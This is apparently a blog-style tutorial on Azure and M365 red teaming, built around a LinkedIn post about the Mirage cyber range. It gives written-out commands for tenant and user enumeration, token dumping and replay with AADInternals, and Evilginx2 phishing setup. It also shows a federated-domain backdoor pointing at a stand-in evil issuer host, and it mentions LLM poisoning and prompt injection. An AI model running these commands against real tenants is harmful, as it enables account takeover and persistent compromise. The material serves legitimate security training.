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Introduction:
The lines between offensive security merchandise and hardcore technical training are blurring, as highlighted by a recent LinkedIn exchange between Ian Austin of Pwned Labs and veteran instructor Yasir Gilani. At the core of this interaction lies a critical shift in cybersecurity education: the move toward specialized, hands-on cloud security ranges. With the rise of Azure and M365 as primary enterprise backbones, understanding how to emulate real-world attacks in these environments is no longer optional—it is a survival skill for red teamers.
Learning Objectives:
- Understand the architecture of cloud-based cyber ranges like Mirage within Pwned Labs.
- Learn how to perform Azure tenant reconnaissance using open-source intelligence (OSINT) and command-line tools.
- Execute a simulated cloud attack path using techniques highlighted by resources like attackthe.cloud.
You Should Know:
- The “Mirage” Cyber Range: Building Your Azure Playground
The post mentions Mirage, the Azure and M365 cyber range built inside Pwned Labs. To understand cloud penetration testing, you must first have a safe environment to replicate Azure Active Directory (AAD) tenants. While Mirage is a proprietary solution, you can build a local lab using Azure free credits and the “AzAD” tools.
Step‑by‑step guide to setting up a basic Azure hacking lab:
1. Create a free Azure account and spin up a Windows Server 2019 VM to act as a domain controller.
2. Install Azure AD Connect to sync on-premise users to the cloud.
3. Deploy vulnerable app registrations using scripts from GitHub repositories like Azure-Samples/active-directory-dotnet-webapp-webapi-openidconnect.
4. Validate connectivity: Ensure your attacker machine (Kali Linux) can reach the tenant.
5. Command to verify tenant ID:
curl -s https://login.microsoftonline.com/<yourtenant>.onmicrosoft.com/.well-known/openid-configuration | jq .
This command fetches the OIDC metadata, confirming the tenant is live and exposing the authorization endpoint for potential attacks.
2. Azure Reconnaissance: The Art of Tenant Enumeration
Before exploiting a cloud infrastructure, you must map it. Yasir Gilani’s resource, attackthe.cloud, provides numerous techniques for this. One of the first steps in a red team engagement is enumerating users and groups without triggering alerts.
Step‑by‑step guide to enumerating Azure users with MSOL (Linux):
1. Install MSOLSpray or use a tool like `o365creeper` to validate email addresses.
2. Target user enumeration: Attackers often use the Azure Active Directory Graph API to check if a user exists.
From a Windows attack box with the AzureAD module installed Import-Module AzureAD $cred = Get-Credential Connect-AzureAD -Credential $cred Get-AzureADUser -All $true | Select DisplayName, UserPrincipalName
Note: This requires credentials, but the initial step is often password spraying without them.
3. Using MicroBurst (PowerShell) for Open Enumeration:
Import-Module .\MicroBurst\MicroBurst.psm1 Invoke-EnumerateAzureSubDomains -Base "targetcompany" –Verbose
This script checks for existence of targetcompany.onmicrosoft.com, targetcompany.scm.azurewebsites.net, and other subdomains, revealing the cloud footprint.
3. Exploiting Misconfigured Azure AD: The Token Tango
Once a foothold is gained (e.g., via a phished credential), the next step is lateral movement. “Don’t Phish Me Bro!”—the sweatshirt referenced in the post—is a humorous nod to the reality that phishing is often the initial vector. In Azure, capturing a token is gold.
Step‑by‑step guide to extracting and replaying Azure AD tokens:
1. Simulate a phished user: On a compromised workstation, locate the Azure AD tokens stored in memory or the browser cache.
2. Use a tool like `AADInternals` to dump tokens.
Install-Module -Name AADInternals Import-Module AADInternals Get tokens for the logged-in user Get-AADIntAccessTokenForAADGraph -SaveToCache
3. Replay the token to access Graph API and enumerate privileged roles.
$token = 'eyJ0eX...' Your extracted token
Use the token to list all users
Invoke-RestMethod -Headers @{Authorization = "Bearer $token"} -Uri "https://graph.microsoft.com/v1.0/users"
4. Cloud Defense: Hardening the M365 Environment
Understanding the offense is only half the battle. The mention of the “MSRC” (Microsoft Security Response Center) joint disclosure implies a focus on finding and fixing bugs. Defenders must understand how to detect the attacks performed in ranges like Mirage.
Step‑by‑step guide to detecting anomalous Azure AD logins (KQL):
1. Navigate to the Microsoft 365 Defender portal and access Advanced Hunting.
2. Run a KQL query to find impossible travel:
AADSignInEventsBeta | where Timestamp > ago(1d) | summarize Locations = make_set(Country), Total = count() by AccountUpn, IPAddress | where array_length(Locations) > 2
3. Enable Conditional Access Policies to block legacy authentication, which is often used by token replay tools.
4. Linux Command for Defender: If using Microsoft Defender for Endpoint on Linux, check the health status:
mdatp health --field real_time_protection_enabled
5. The “MCRTE” Path: Emulating Real-World Cloud Adversaries
The post references “MCRTE” (likely Microsoft Certified Red Team Expert) training. This involves chaining multiple vulnerabilities. A typical path in the Mirage range might involve: Phishing -> Token Theft -> Privilege Escalation to Global Admin -> Backdooring the tenant.
Step‑by‑step guide to chaining an Azure attack:
- Initial Access: Use a tool like `Evilginx2` to proxy credentials and session cookies (the ultimate “Don’t Phish Me” bypass for MFA).
On your VPS, configure Evilginx2 ./evilginx config domain l33tsushi.com
- Post-Exploitation: Once you have the Global Admin token, create a new federated domain trust to maintain persistence.
Using AzureAD and MSOnline modules Set-MsolDomainAuthentication -DomainName "targetcompany.com" -Authentication Federated -IssuerUri "http://your.evil.issuer" -LogOffUri "https://your.evil.com/logoff"
- Cleanup: In a lab environment, always revert changes using backup scripts to avoid destroying the range.
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Tool Configuration: Mapping the Attack Surface with StormSpotter
Visualizing an Azure environment is crucial for finding privilege escalation paths. StormSpotter is an open-source tool that creates a “bloodhound” style graph for Azure.
Step‑by‑step guide to deploying StormSpotter:
- Prerequisites: Docker and Python3 installed on your Kali machine.
2. Clone the repository:
git clone https://github.com/Azure/StormSpotter.git cd StormSpotter/backend
3. Configure credentials: Create a Service Principal with Reader access to the target tenant.
export AZURE_TENANT_ID="your-tenant-id" export AZURE_CLIENT_ID="your-client-id" export AZURE_CLIENT_SECRET="your-secret"
4. Run the scanner:
python3 ss.py collect
5. Visualize: Navigate to `localhost:9090` to see the graph of Azure resources, identifying VMs, Key Vaults, and their permission chains.
What Undercode Say:
- The Skills Gap is Closing via Gamification: The evolution from simple CTFs to complex, persistent cloud ranges like “Mirage” indicates that the industry is finally addressing the complexity of cloud-native attacks. Professionals must now be as comfortable with Azure CLI and KQL as they are with Metasploit.
- Community-Driven Knowledge is Key: Resources like `attackthe.cloud` and initiatives by instructors with 30 years of experience (like Yasir) prove that real-world expertise is being successfully distilled into actionable, hands-on training. The “sweatshirt” culture is a side effect of a tight-knit community focused on excellence.
Prediction:
As cloud architectures become more intertwined with AI services, the next generation of cyber ranges (post-Mirage) will focus heavily on AI Supply Chain Security. Expect to see training modules dedicated to poisoning Large Language Models (LLMs) hosted in Azure ML and extracting proprietary training data via prompt injection, moving beyond IAM roles to the confidentiality of the data plane itself.
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